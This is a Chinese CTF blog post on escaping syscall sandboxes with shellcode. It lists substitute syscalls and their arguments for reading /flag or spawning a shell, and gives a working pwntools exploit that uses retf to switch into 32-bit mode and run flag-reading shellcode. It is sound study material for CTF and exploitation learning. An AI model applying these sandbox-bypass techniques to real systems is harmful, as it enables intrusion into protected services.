sysNow's blog

shellcode突破沙箱机制整理

2025-02-24
CTF
思路整理
最后更新:2025-02-24
5分钟
842字

shellcode突破沙箱机制整理

参考文章Linux 下的 shellcode 技巧总结

参考文章沙箱逃逸----切换进程工作模式绕过

当程序采用sandbox机制时, 有部分函数无法使用, 因此我们需要用特殊的方法来获取flag

常用函数调用链

open + read + write(最常用的ORW)

open + sendfile

open + mmap + write


使用 at/v/2/少见的 系统调用

  • 使用 execveat 代替 execve,拿到 shell 后,使用 shell 内置命令读取 flag: echo *; read FLAG < /flag;echo $FLAG,否则使用子 shell 执行命令还是会被沙箱杀死
  • 使用 openat 代替 open
  • 使用 readv/writev 代替 read/write
  • 使用 mmap2 代替 mmap
  • 使用少见的系统调用, 如sendfile

read / readv 参数设置

1
ssize_t read(int fd, void *buf, size_t count);
2
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

write / writev 参数设置

1
ssize_t write(int fd, const void *buf, size_t count);
2
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

open / openat 参数设置

1
int open(const char *pathname, int flags, mode_t mode);
2
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

execve / execveat 参数设置

1
int execve(const char *pathname, char *const argv[], char *const envp[]);
2
int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);

mmap / mmap2 参数设置

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
2
void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset / 4096);

其它

1
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

在实际使用中, 我们常设置以下函数具体参数

1
execve("/bin/sh",0,0)
2
execveat(-100,"/bin/sh",0,0,0)
1
open("/flag",0)
2
openat(-100,"/flag",0)
1
read(3,读入地址,0x1000)
2
readv(3,伪造的iov地址,1)
3
// iov.iov_base = 读入地址;
4
// iov.iov_len = 0x1000;
1
write(1,输出地址,0x1000)
2
writev(1,伪造的iov地址,1)
3
// iov.iov_base = 输出地址;
4
// iov.iov_len = 0x1000;
1
mmap(映射地址,0x1000,3,0x2,3,0)
2
// 从/flag映射到地址中,prot设置为3意为可读可写,flag设置为0x2
3
mmap(映射地址,0x1000,7,0x22,-1,0)
4
// 设置映射地址为可读可写可执行
1
sendfile(1,3,0,0x1000)

切换指令模式

由于amd64兼容于i386, 因此若64位程序开启了沙箱, 禁用了能利用的函数, 且不对架构做检测, 我们可以尝试设置程序为32位, 然后打32位shellcode

点击此下载例题

default

default

直接打shellcode就能出, 但是存在沙箱, 沙箱未检测架构

决定了是哪种工作模式的是cs寄存器**(cs=0x23 则为32位工作模式,cs=0x33 则为64位工作模式)**, 我们可以用retf指令来控制cs寄存器

retf这个指令是相当于pop eip; pop cs

因此在shellcode利用retf指令前, 应该在栈中设置好eipcs, 由于这两个寄存器都是4字节的, 因此两个值只需要占用一个栈地址

因此我们先mmap出一个区域可以注入32位shellcode(地址存储到eip中). 随后调用read输入32位shellcode

随后调用retf, 控制csrip, 需要注意的是, 六字节的栈地址在32位工作模式下无法识别, 因此要同步迁移esp到这个区域

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
26 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))
18
19
shell1 = asm('''
20
mov rdi,0x10000000
21
mov rsi,0x10000
22
mov rdx,7
23
mov r10,0x21
24
mov rax,9
25
syscall
26
27
mov rdi,0
28
mov rsi,0x10000000
29
mov rdx,0x1000
30
mov rax,0
31
syscall
32
33
mov rdi,0x0000002310000000
34
push rdi
35
''') + b"\xcb"
36
s(shell1)
37
pause()
38
shell2 = asm('mov rsp,0x10001000')+ShellcodeMall.i386.cat_flag
39
s(shell2)
40
41
ia()

\xcb就是retf, retfeip被设置为0x10000000, cs被设置为0x23

本文标题:shellcode突破沙箱机制整理
文章作者:sysNow
发布时间:2025-02-24